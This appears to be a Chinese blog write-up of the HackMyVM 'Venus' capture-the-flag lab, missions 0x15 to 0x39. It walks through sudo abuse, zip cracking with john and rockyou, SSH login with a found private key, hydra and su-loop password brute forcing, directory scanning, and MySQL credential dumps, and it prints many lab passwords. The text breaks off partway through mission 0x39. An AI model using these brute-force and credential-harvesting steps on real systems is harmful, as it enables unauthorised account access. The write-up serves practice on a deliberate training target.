&lt;p&gt;这是 Linux 系统中 &lt;code&gt;/etc/passwd&lt;/code&gt; 文件中的一行记录，用于存储系统用户的基本信息。该记录的字段由冒号 &lt;code&gt;:&lt;/code&gt; 分隔，各字段的含义如下：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;alice&lt;/code&gt;：用户名，表示该用户的登录名。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;x&lt;/code&gt;：加密密码，通常会在 &lt;code&gt;/etc/shadow&lt;/code&gt; 文件中存储加密后的密码信息，因为密码需要保密，所以 &lt;code&gt;/etc/passwd&lt;/code&gt; 文件中会使用一个占位符（通常是 &lt;code&gt;x&lt;/code&gt;）来代替真正的密码。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;1014&lt;/code&gt;：用户 ID（UID），表示该用户在系统中的唯一标识符。每个用户都有一个 UID，可以用于区分不同的用户。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;1014&lt;/code&gt;：组 ID（GID），表示该用户所属的用户组在系统中的唯一标识符。每个用户都属于一个或多个用户组，可以用于实现文件、目录等资源的访问控制。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;w8NvY27qkpdePox&lt;/code&gt;：用户信息，通常包括用户的全名、电话号码、地址等信息。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/pwned/alice&lt;/code&gt;：用户主目录，表示该用户的默认工作目录。在登录时，系统会自动切换到该目录。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/bin/bash&lt;/code&gt;：shell 程序路径，表示该用户默认的 shell 程序。在登录时，系统会启动该程序，为该用户提供基于命令行的交互式界面。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;需要注意的是，上述记录中的各字段并没有固定的位置和数量，而是由各个 Linux 发行版和系统版本决定。但是，它们的含义通常是相同的，可以根据需要进行解析。&lt;/p&gt;
&lt;p&gt;德奥用户 &lt;code&gt;anna&lt;/code&gt;的密码是&lt;code&gt;w8NvY27qkpdePox&lt;/code&gt;&lt;/p&gt;
&lt;h4&gt;Mission 0x15&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;################
# MISSION 0x15 #
################
## EN ##
Maybe sudo can help you to be natalia.
## ES ##
Puede que sudo te ayude para ser natalia.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;任务提示 &lt;code&gt;sudo&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;$ sudo -l
Matching Defaults entries for anna on venus:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User anna may run the following commands on venus:
    (natalia) NOPASSWD: /bin/bash
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;User anna may run the following commands on venus&lt;/code&gt;说明用户&lt;code&gt;anna&lt;/code&gt;可以执行&lt;code&gt;bash&lt;/code&gt;命令&lt;/li&gt;
&lt;li&gt;&lt;code&gt; (natalia) NOPASSWD: /bin/bash&lt;/code&gt;：用户natalia 在执行bash命令时无需密码&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;$ sudo -u natalia bash  跳转到natalia的bash,得到natalia的密码 NMuc4DkYKDsmZ5z
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Tips：&lt;code&gt;-u &amp;lt;用户&amp;gt;&lt;/code&gt;:以指定的用户作为新的身份。若不加上此参数，则预设以root作为新的身份；&lt;/p&gt;
&lt;h4&gt;Mission 0x16&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;################
# MISSION 0x16 #
################
## EN ##
The password of user eva is encoded in the base64.txt file
## ES ##
El password de eva esta encodeado en el fichero base64.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;密码被base64加密了&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;$ cat base64.txt | base64 -d
upsCA3UFu10fDAO
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;得到 &lt;code&gt;eva&lt;/code&gt;的密码 &lt;code&gt;upsCA3UFu10fDAO&lt;/code&gt;&lt;/p&gt;
&lt;h4&gt;Mission 0x17&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;################
# MISSION 0x17 #
################

## EN ##
The password of the clara user is found in a file modified on May 1, 1968. 

## ES ##
La password de la usuaria clara se encuentra en un fichero modificado el 01 de Mayo de 1968.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;任务提示最后被修改的时间，&lt;code&gt;find&lt;/code&gt;命令有选项可以查看文件的相关时间，比如访问、修改等&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;$ $ find / -type f -mtime +19345 2&amp;gt;/dev/null   （2023-1970）*365=19345，时间戳最开始的时间是1970
/usr/lib/cmdo   # 查看即可得到 clara的密码  39YziWp5gSvgQN9
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;根据文件时间戳进行搜索&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;find . -type f 时间戳
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Linux 每个文件都有三种时间戳&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;访问时间&lt;/strong&gt; （-atime/天，-amin/分钟）：用户最近一次访问时间。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;修改时间&lt;/strong&gt; （-mtime/天，-mmin/分钟）：文件最后一次修改时间。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;变化时间&lt;/strong&gt; （-ctime/天，-cmin/分钟）：文件数据元（例如权限等）最后一次修改时间。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;举个栗子：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;##搜索最近七天内被访问过的所有文件
$ find . -type f -atime -7
## 恰好七天
$ find . -type f -atime 7
##超过七天
$ find . -type f -atime +7
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;切换得到flag和下一个Mission&lt;/p&gt;
&lt;h4&gt;Mission 0x18&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;################
# MISSION 0x18 #
################

## EN ##
The password of user frida is in the password-protected zip (rockyou.txt can help you) 

## ES ##
La password de frida esta en el zip protegido con password.(rockyou.txt puede ayudarte)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;任务提示 frida的密码在被加密的压缩包里面，需要爆破&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;$ scp -P 5000 clara@venus.hackmyvm.eu:~/protected.zip .   // 把压缩包down到本地
$ zip2john protected.zip &amp;gt; Hash
$ john --wordlist=/home/kali/rockyou.txt Hash
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 4 OpenMP threads
Press &amp;#39;q&amp;#39; or Ctrl-C to abort, almost any other key for status
pass123          (protected.zip/pwned/clara/protected.txt)     
1g 0:00:00:00 DONE (2023-06-02 21:17) 100.0g/s 819200p/s 819200c/s 819200C/s 123456..whitetiger
Use the &amp;quot;--show&amp;quot; option to display all of the cracked passwords reliably
Session completed. 
#得到密码解压得到 frida的密码 Ed4ErEUJEaMcXli
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Mission 0x19&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;################
# MISSION 0x19 #
################

## EN ##
The password of eliza is the only string that is repeated (unsorted) in repeated.txt. 

## ES ##
La password de eliza es el unico string que se repite (sin estar ordenado) en repeated.txt.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;任务提示 eliza的密码是唯一重复的字符串&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;$ uniq -d repeated.txt
Fg6b6aoksceQqB9
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;得到 eliza的密码 &lt;code&gt;Fg6b6aoksceQqB9&lt;/code&gt;&lt;/p&gt;
&lt;h4&gt;Mission 0x20&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;################
# MISSION 0x20 #
################

## EN ##
The user iris has left me her key.

## ES ##
La usuaria iris me ha dejado su key.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;任务提示 iris的key被 当前用户知道了。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;$ find / -name &amp;quot;*iris*&amp;quot; -exec ls -l {} \; 2&amp;gt;/dev/null    #查看与iris相关的问价，发现了 .iris_key,很显然是ssh私钥
直接连接
$ ssh -i  .iris_key iris@localhost
连接成功，并且得到 iris 的密码 kYjyoLcnBZ9EJdz
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Mission 0x21&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;################
# MISSION 0x21 #
################
## EN ##
User eloise has saved her password in a particular way. 
## ES ##
La usuaria eloise ha guardado su password de una forma particular.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;一眼 Base64转图片（可以搜在线工具，也有很多离线工具）&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;$ scp -P 5000 iris@venus.hackmyvm.eu:~/eloise ./
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;base64解码保存为 .jpg ,得到 &lt;code&gt;eloise&lt;/code&gt;的密码 &lt;code&gt;yOUJlV0SHOnbSPm&lt;/code&gt;&lt;/p&gt;
&lt;h4&gt;Mission 0x22&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;################
# MISSION 0x22 #
################

## EN ##
User lucia has been creative in saving her password.

## ES ##
La usuaria lucia ha sido creativa en la forma de guardar su password.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;根据提示可以得到，密码被某种方式编码了，CyberChef 一把嗦，可知是 hexdump&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;$ xxd -r hi
uvMwFDQrQWPMeGP   # 得到lucia的密码
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Mission 0x23&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;################
# MISSION 0x23 #
################

## EN ##
The user isabel has left her password in a file in the /etc/xdg folder but she does not remember the name, however she has dict.txt that can help her to remember.

## ES ##
La usuaria isabel ha dejado su password en un fichero en la carpeta /etc/xdg pero no recuerda el nombre, sin embargo tiene dict.txt que puede ayudarle a recordar.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;任务提示，密码文件在&lt;code&gt;/etc/xdg&lt;/code&gt;文件夹下，但是我们没有权限全列出（ls）其下的文件列表，但提供了一个文件dict.txt，所以就只能爆破了。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;$ stat /etc/xdg       // 查看一下文件夹权限
  File: /etc/xdg
  Size: 4096            Blocks: 8          IO Block: 4096   directory
Device: 28h/40d Inode: 272791      Links: 3
Access: (0661/drw-rw---x)  Uid: (    0/    root)   Gid: (    0/    root)

$ while IFS= read -r line; do readlink -e /etc/xdg/$line ; done &amp;lt; dict.txt
/etc/xdg
/etc/xdg/readme
$ cat /etc/xdg/readme
H5ol8Z2mrRsorC0     // 得到isabel的密码 H5ol8Z2mrRsorC0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;dict.txt中有一个隐藏的的Flag&lt;/p&gt;
&lt;p&gt;标准格式&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;IFS=
while read -r line
do
 readlink -e &amp;quot;/etc/xdg/$line&amp;quot;
done &amp;lt; dict.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;脚本细究&lt;ul&gt;
&lt;li&gt;&lt;code&gt;IFS=&lt;/code&gt; 是 Shell 脚本中的一种特殊变量，表示输入字段分隔符。当 &lt;code&gt;IFS&lt;/code&gt; 变量为空时，Shell 将默认使用空格、制表符和换行符作为输入字段分隔符。也就是说，设置 &lt;code&gt;IFS=&lt;/code&gt; 后，Shell 会将需要读取的内容以整行为单位读入。（目的是为了处理文件中包含特殊字符或空格的情况，但我测试的短文本加不加好像都一样）&lt;/li&gt;
&lt;li&gt;该脚本首先将 &lt;code&gt;dict.txt&lt;/code&gt; 文件通过输入重定向 &lt;code&gt;&amp;lt;&lt;/code&gt; 输入到循环中，然后逐行读取 &lt;code&gt;dict.txt&lt;/code&gt; 中的记录，并将每一行的内容赋值给循环变量 &lt;code&gt;$line&lt;/code&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;然后，脚本使用 &lt;code&gt;readlink&lt;/code&gt; 命令来输出指定文件的符号链接或子目录内容。其中 &lt;code&gt;-e&lt;/code&gt; 选项表示展开符号链接，并将链接转换为其所指向的真实文件路径。命令中的 &lt;code&gt;/etc/xdg/$line&lt;/code&gt; 表示由 &lt;code&gt;/etc/xdg/&lt;/code&gt; 目录和当前循环变量 &lt;code&gt;$line&lt;/code&gt; 组成的文件路径，用于确定需要获取符号链接的目标文件。&lt;/p&gt;
&lt;p&gt;因此，整个脚本的作用是：逐行读取 &lt;code&gt;dict.txt&lt;/code&gt; 文件中的内容，将每一行内容作为文件名参数传递给 &lt;code&gt;readlink&lt;/code&gt; 命令，并输出符号链接对应的真实文件路径或子目录内容。该脚本可以用于查找指定目录下的文件或目录的符号链接，并输出它们所指向的真实路径或内容。&lt;/p&gt;
&lt;h4&gt;Mission 0x24&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;################
# MISSION 0x24 #
################

## EN ##
The password of the user freya is the only string that is not repeated in different.txt 

## ES ##
La password de la usuaria freya es el unico string que no se repite en different.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;任务提示：freya的密码是唯一一个没有重复的字符串（和Mission 0x19 恰恰相反）&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;$ uniq -u differnt.txt
EEDyYFDwYsmYawj   //得到freya的密码 EEDyYFDwYsmYawj
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Mission 0x25&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;################
# MISSION 0x25 #
################
## EN ##
User alexa puts her password in a .txt file in /free every minute and then deletes it. 
## ES ##
La usuaria alexa pone su password en un fichero .txt en la carpeta /free cada minuto y luego lo borra.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;任务提示密码在 /free文件夹下，但每分钟都会被删除，想要手动打开的可能性应该不大，所以可以用脚本来实现&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;$ false; while [ $? -ne 0 ]; do cat /free/* ; done 2&amp;gt;/dev/null
mxq9O3MSxxX9Q3S   # 得到alexa的密码 mxq9O3MSxxX9Q3S
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;等价于：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;while true; do
cat /free/* 2&amp;gt;/dev/null
if [ $? -eq 0 ]; then
  break
fi
done
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Tips: Linux系统中 True 是 0；false 是 1；如果上一条命令执行失败，&lt;code&gt;$?&lt;/code&gt;就等于 1（false）&lt;/p&gt;
&lt;h4&gt;Mission 0x26&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;################
# MISSION 0x26 #
################

## EN ##
The password of the user ariel is online! (HTTP)

## ES ##
El password de la usuaria ariel esta online! (HTTP)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;密码是在线的&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;$ curl http://localhost
33EtHoz9a0w2Yqo   #得到ariel的密码 33EtHoz9a0w2Yqo
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Mission 0x27&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;################
# MISSION 0x27 #
################

## EN ##
Seems that ariel don&amp;#39;t save the password for lola, but there is a temporal file.

## ES ##
Parece ser que a ariel no le dio tiempo a guardar la password de lola... menosmal que hay un temporal!
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;任务提示没保存 lola 的密码。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;$ ls -a
.  ..  .bash_logout  .bashrc  .goas.swp  .profile  flagz.txt  mission.txt
$ vim -r .goas.swp
   ...  删除掉 --&amp;gt;
:w /tmp/jzcheng.txt
:q!           # 将文件另存到 /tmp/jzcheng.txt 并退出
$ while IFS= read -r passwd;do echo $passwd | timeout 2 su lola 2&amp;gt;/dev/null;if [ $? -eq 0 ];then echo $passwd;break;fi;done &amp;lt; /tmp/jzcheng.txt
d3LieOzRGX5wud6
// 得到 lola 的密码 d3LieOzRGX5wud6
或者使用 hydra
$ hydra -l lola -P /tmp/jzcheng.txt ssh://venus.hackmyvm.eu:5000
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Mission 0x28&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;################
# MISSION 0x28 #
################
## EN ##
The user celeste has left a list of names of possible .html pages where to find her password. 
## ES ##
La usuaria celeste ha dejado un listado de nombres de posibles paginas .html donde encontrar su password.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;任务提示，密码藏在 html 的网页里面&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;创建一个 SSH 隧道（tunnel），将远程服务器 venus.hackmyvm.eu 上的 80 端口转发到本地计算机的 9001 端口。
$ ssh -L 9001:127.0.0.1:80 lola@venus.hackmyvm.eu -p 5000
然后再扫描目录
$ dirb http://127.0.0.1:9001/ ./pages.txt -X .html
或者 gobuster dir -w pages.txt -u http://127.0.0.1:9001 -x html
可以得到一个网页
http://127.0.0.1:9001/cebolla.html
$ curl http://127.0.0.1:9001/cebolla.html
VLSNMTKwSV2o8Tn   //得到了 celeste 的密码 VLSNMTKwSV2o8Tn
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;非预期 &lt;code&gt;find / -name &amp;quot;*.html&amp;quot; -path &amp;#39;/var/www*&amp;#39; 2&amp;gt;/dev/null&lt;/code&gt;&lt;/p&gt;
&lt;h4&gt;Mission 0x29&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;################
# MISSION 0x29 #
################

## EN ##
The user celeste has access to mysql but for what?

## ES ##
La usuaria celeste tiene acceso al mysql, pero para que?
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;任务提示，数据库中存在着些什么&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;$ mysql -uceleste -pVLSNMTKwSV2o8Tn   //登录Mysql数据库
&amp;gt; show databases;
&amp;gt; use venus;
&amp;gt; show tables;
&amp;gt; select * from people where length(pazz)=15;        //根据之前的密码长度来做个过滤
+-----------+----------+-----------------+
| id_people | uzer     | pazz            |
+-----------+----------+-----------------+
|        16 | sfdfdsml | ixpeqdsfsdfdsfW |
|        44 | yuio     | ixpgbvcbvcbeqdW |
|        54 | crom     | ixpefdbvvcbrqdW |
|        58 | bael     | ixpesdvsdvsdqdW |
|        74 | nina     | ixpeqdWuvC5N9kG |
|        77 | dsar     | ixpeF43F3F34qdW |
|        78 | yop      | ixpeqdWCSDFDSFD |
|        79 | loco     | ixpeF43F34F3qdW |
+-----------+----------+-----------------+
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;发现在 &lt;code&gt;pwned&lt;/code&gt;目录下发现 用户名 nina，因此可以得到 &lt;code&gt;nina&lt;/code&gt;的密码 &lt;code&gt;ixpeqdWuvC5N9kG&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;在数据库中还存在一个Hidden Flag； select * from people;&lt;/p&gt;
&lt;h4&gt;Mission 0x30&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;################
# MISSION 0x30 #
################

## EN ##
The user kira is hidding something in http://localhost/method.php

## ES ##
La usuaria kira esconde algo en http://localhost/method.php
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;任务提示，通过某种请求方法&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;$ curl -XGET http://localhost/method.php
I dont like this method!
$ curl -XPUT http://localhost/method.php
tPlqxSKuT4eP3yr   //得到 kira的密码 tPlqxSKuT4eP3yr
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Mission 0x31&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;################
# MISSION 31 #
################

## EN ##
The user veronica visits a lot http://localhost/waiting.php

## ES ##
La usuaria veronica visita mucho http://localhost/waiting.php
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;任务提示&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;$ curl http://localhost/waiting.php
Im waiting for the user-agent PARADISE.   
使用 -A 选项来修改 user-agent 的值
$ curl -A PARADISE http://localhost/waiting.php
QTOel6BodTx2cwX   // 获得到 veronica的密码 QTOel6BodTx2cwX
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Mission 0x32&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;################
# MISSION 0x32 #
################

## EN ##
The user veronica uses a lot the password from lana, so she created an alias.

## ES ##
La usuaria veronica usa mucho la password de lana, asi que ha creado un alias.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;任务提示，lana的密码被设置成了别名&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;$ alias   
alias lanapass=&amp;#39;UWbc0zNEVVops1v&amp;#39;   // 得到lana的密码 UWbc0zNEVVops1v
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Mission 0x33&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;################
# MISSION 0x33 #
################

## EN ##
The user noa loves to compress her things.

## ES ##
A la usuaria noa le gusta comprimir sus cosas.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;密码在压缩包里面&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;$ mkdir /tmp/jzcheng;
$ tar -xvf zip.gz -C /tmp/jzcheng 
$ cat ...           // 得到 noa 的密码 9WWOPoeJrq6ncvJ
&amp;gt; 非预期
$ cat zip.gz 
pwned/lana/zip0000644000000000000000000000002014223477016012327 0ustar  rootroot9WWOPoeJrq6ncvJ
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Mission 0x34&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;################
# MISSION 0x34 #
################

## EN ##
The password of maia is surrounded by trash 

## ES ##
La password de maia esta rodeada de basura
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;任务提示密码在 trash 中&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;$ string trash
h1hnDPHpydEjoEN  //得到maia 的密码 h1hnDPHpydEjoEN
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Mission 0x35&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;################
# MISSION 0x35 #
################

## EN ##
The user gloria has forgotten the last 2 characters of her password ... They only remember that they were 2 lowercase letters. 

## ES ##
La usuaria gloria ha olvidado los 2 ultimos caracteres de su password... Solo recuerdan que eran 2 letras minusculas.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;任务提示密码的后两位是小写字母，&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;from string import ascii_lowercase
f = open(&amp;#39;pazz.txt&amp;#39;, &amp;#39;w+&amp;#39;)
for i in ascii_lowercase:
    for j in ascii_lowercase:
        print(f&amp;quot;v7xUVE2e5bjUc{i}{j}&amp;quot;, file=f)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;hydra 超慢&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;$hydra -l gloria -P pazz.txt ssh://venus.hackmyvm.eu:5000
$ hydra -l gloria -P pazz.txt  -f venus.hackmyvm.eu -s 5000 ssh
Hydra v9.1 (c) 2020 by van Hauser/THC &amp;amp; David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-06-10 00:36:25
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 676 login tries (l:1/p:676), ~43 tries per task
[DATA] attacking ssh://venus.hackmyvm.eu:5000/
[STATUS] 101.00 tries/min, 101 tries in 00:01h, 580 to do in 00:06h, 16 active
[STATUS] 89.00 tries/min, 267 tries in 00:03h, 414 to do in 00:05h, 16 active
[STATUS] 83.71 tries/min, 586 tries in 00:07h, 99 to do in 00:02h, 16 active
[5000][ssh] host: venus.hackmyvm.eu   login: gloria   password: v7xUVE2e5bjUcxw
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 14 final worker threads did not complete until end.
[ERROR] 14 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-06-10 00:43:55
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;获得 &lt;code&gt;gloria&lt;/code&gt;的密码 &lt;code&gt;v7xUVE2e5bjUcxw&lt;/code&gt;&lt;/p&gt;
&lt;h4&gt;Mission 0x36&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;################
# MISSION 0x36 #
################

## EN ##
User alora likes drawings, that&amp;#39;s why she saved her password as ... 

## ES ##
A la usuaria alora le gustan los dibujos, por eso ha guardado su password como...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;任务提示在密码在image文件中，cat查看一下像二维码，缩小，扫码得到alora的密码&lt;code&gt;mhrTFCoxGoqUxtw&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://jzcheng.cn/archives/venus1.html&quot;&gt;image-20230614104921199&lt;/a&gt;&lt;/p&gt;
&lt;h4&gt;Mission 0x37&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;################
# MISSION 0x37 #
################

## EN ##
User Julie has created an iso with her password.

## ES ##
La usuaria julie ha creado una iso con su password.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;密码在 iso 镜像文件里&lt;/p&gt;
&lt;p&gt;非预期直接 cat 查看&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;$ mkdir /tmp/music
$ sudo mount -o loop music.iso /tmp/music   //挂载到本地虚拟机
$ unzip /tmp/music/music.zip -d tmp
$ cat /tmp/pwned/a;ora/music.txt
sjDf4i2MSNgSvOv            -- 得到julie的密码 sjDf4i2MSNgSvOv
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个命令的作用是将 &lt;code&gt;music.iso&lt;/code&gt; 挂载到 &lt;code&gt;/tmp/music/&lt;/code&gt; 目录下。具体来说，&lt;code&gt;mount&lt;/code&gt; 命令是用于挂载文件系统， &lt;code&gt;-o loop&lt;/code&gt; 参数告诉它把文件作为循环设备（loop device）挂载，&lt;code&gt;music.iso&lt;/code&gt; 则是要挂载的 ISO 镜像文件，最后的 &lt;code&gt;/tmp/music/&lt;/code&gt; 是指挂载点（mount point），即将镜像文件挂载到哪个目录下面。执行这条命令后，在 &lt;code&gt;/tmp/music/&lt;/code&gt; 目录下就可以访问 &lt;code&gt;music.iso&lt;/code&gt; 镜像中的文件了。&lt;/p&gt;
&lt;h4&gt;Mission 0x38&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;################
# MISSION 0x38 #
################

## EN ##
The user irene believes that the beauty is in the difference.

## ES ##
La usuaria irene cree que en la diferencia esta lo bonito.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;根据任务提示可以知道，密码应该是两个文件的差异部分&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;$ diff 1.txt 2.txt
174c174
&amp;lt; 8VeRLEFkBpe2DSD
---
&amp;gt; aNHRdohjOiNizlU
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;经过尝试得到 &lt;code&gt;irene&lt;/code&gt;的密码&lt;code&gt;8VeRLEFkBpe2DSD&lt;/code&gt;&lt;/p&gt;
&lt;h4&gt;Mission 0x39&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;################
# MISSION 0x39 #
################

## EN ##
The user adela has lent her password to irene.

## ES ##
La usuaria adela le ha dejado prestada su password a irene.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;查看有三个文件 &lt;code&gt;id_rsa.pem、id_rsa.pub、pass.enc&lt;/code&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;id_rsa.pem&lt;/code&gt;：一个私钥文件，可能用于 SSH 认证等操作。通常情况下，私钥文件需要严格保密。&lt;/li&gt;
